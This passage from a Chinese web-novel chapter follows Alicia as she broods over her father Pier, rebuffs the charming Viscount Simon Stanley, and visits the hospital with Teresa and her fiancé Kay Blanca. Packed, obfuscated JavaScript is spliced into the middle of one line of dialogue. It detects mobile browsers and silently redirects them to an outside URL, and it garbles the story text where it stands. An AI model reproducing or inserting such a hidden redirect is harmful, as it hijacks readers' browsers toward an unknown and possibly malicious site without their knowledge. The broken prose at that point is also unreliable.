可仍然不甘心。 皮尔曾经是那么好的爸爸,为什么他会变呢? 人的感情很奇怪,明明理智已经得出了结论,但她还是会忍不住回想皮尔对她的点点滴滴,那些温暖的岁月里,是贝斯和皮尔的努力,让艾莉西亚对这个陌生的异世大陆有了链接,然后在这里扎根。 被囚禁在魔法塔的那一年,艾莉西亚曾经无数次想过,如果她选择一了百了,是不是就能回去地球了?但当她真正去回想上一世时,除了那些在病床上苟延残喘的病痛岁月,以及上一世的父母在有了第二孩子之后展颜欢笑的样子。 回不去的。 意识到这一点,艾莉西亚就彻底放弃了回去地球了,虽然她并没有回去的方法,但至少,她丢掉了那个奢望,真真正正踏踏实实地在这个世界活下来。 “美丽的小姐,我能帮你吗?”一个温柔磁性的声音从艾莉西亚背后传来,艾莉西亚闻声看去,花园小径的尽头,站着一个穿着笔挺正装的高挑男子,他的眉眼如雕塑家精心雕琢的最出彩的作品,他只是站在那里,就让人感觉到世界好像都亮了一个度。 “嗯?” 男子走过来,拿出一盒火柴,朝艾莉西亚手里的眼示意,“可以吗?” “哦,这个不用,”艾莉西亚收回目光落在他脸上的目光,“我没有抽烟的习惯。” “那是我冒昧了,”英俊的男人若无其事地收回手,微笑着自我介绍,“西蒙·斯坦利,很高兴认识您,女士。” “艾莉西亚·切斯特,”艾莉西亚听到姓氏的时候眉毛挑了起来,“是我想的那个斯坦利吗?” 斯坦利笑起来,脸颊露出若隐若现的酒窝,让他看起来带着几分少年气,“唔,我说不是,你相信吗?” 艾莉西亚眉毛挑得更高了,“我相信与否不重要,重要的是,你大费周章地来找我,为了什么?” “老实说,你这样让我感到很伤心,难道我一点魅力也没有吗?” “你在向我询问,你的魅力在我这里的估价吗?” 斯坦利笑容有一点僵硬,但他掩饰得很好,顺着艾莉西亚的话接下来去,“那么你的估价呢?” 这家伙……完全没有德蒙卡萨那种业务熟练的感觉啊,老实说,德蒙卡萨应该是她遇到过的男性中的六边形战士了吧。 艾莉西亚,“把手伸出来。” 斯坦利面露疑惑,但仍然听话地把手伸出来。他的手掌宽大但很漂亮,指骨修长,指甲圆润,掌心有握剑留下的薄茧。 艾莉西亚把那支女士香烟放到他掌心,说,“你的表现告诉我你还没有想清楚自己想要什么,等你想清楚了,再来找我吧,斯坦利子爵阁下。” 艾莉西亚留下失去表情管理的西蒙·斯坦利,朝着花园小径的另一端挥挥手,“特蕾娅,我在这里。” 特蕾娅挽着一个中等身材的英俊男人,正是她的未婚夫,凯伊·布兰卡。 看到艾莉西亚,特蕾娅立刻松开对方,朝着艾莉西亚跑过来,“嘿,你看起来精神很好,是那个男人的原因吗?” 她双眼闪烁着兴奋的目光,艾莉西亚挽着她的手,“有一部分原因吧。” 经过西蒙·斯坦利这段插曲,艾莉西亚心里因为皮尔而产生的烦躁已经散去,果然,食色、性也,因为遇到好看异性而产生的多巴胺会帮助人走出情绪低谷。 皮尔的事在艾莉西亚心里依然是根刺,但她已经没有一开始那么介意了。刺又如何呢?她会慢慢消解掉的。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853746|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中午好,布兰卡先生,许久没见到您了,工作还顺利吗?” 凯伊·布兰卡笑着向艾莉西亚致意,“托您的福,我的工作一直很顺利。” 艾莉西亚掩嘴轻笑,看了一眼特蕾娅,“托我的福吗?你说错了吧,应该是特蕾娅,对吧。我听说你们在商量婚期了,这么快就要举办婚礼吗?” 布兰卡无奈地笑起来,“我正朝着这个方向努力,不过,也许特蕾娅还需要一点时间。” 这话……听着不对劲啊。 艾莉西亚立刻停止这个话题,领着这对未婚夫妻去贝斯的病房,“妈妈知道你们过来,一直等着呢,罗德就简单多了,她心心念念特蕾娅姐姐给她带礼物。” 特蕾娅丝滑地接住艾莉西亚的话题,“罗德知道你会向我透露她的小秘密吗?” 艾莉西亚耸肩,“那家伙知道了也会很理直气壮的。” “啊,那她这一点和你倒是很像。” 因为艾莉西亚和特蕾娅成功拿到继承人的投资,这些天上门拜访的人络绎不绝,这些人之中不乏贵族代言人或者银行家,也有供应商、机械厂老板等等,她一直脱不开身,好不容易次才腾出时间,就离开来医院了。 只是特蕾娅没想到,她刚从零件厂出来,就遇到了布兰卡。 不过两人既然是未婚夫妻,布兰卡主动提出来,特蕾娅也没有道理拒绝。 见到皮尔和贝斯,布兰卡表现得十分殷切热情,这态度艾莉西亚从没有从他身上见到过,这一次,艾莉西亚对“得到继承人投资”这件事,有了全新的感受。 艾莉西亚和特蕾娅约着共进午餐,布兰卡也想一起,艾莉西亚笑着拒绝,“女孩子的约会,绅士就不要参加了。我们的小秘密可一点不适合绅士知道。” 布兰卡只好自己乘坐马车回去市政厅。 忘了说了,这家伙是特意请假过来的,听特蕾娅的口风,布兰卡的上司似乎也很支持他的做法。 艾莉西亚和特蕾娅坐上马车去餐厅,特蕾娅上车后说,“我想取消订婚,艾莉。”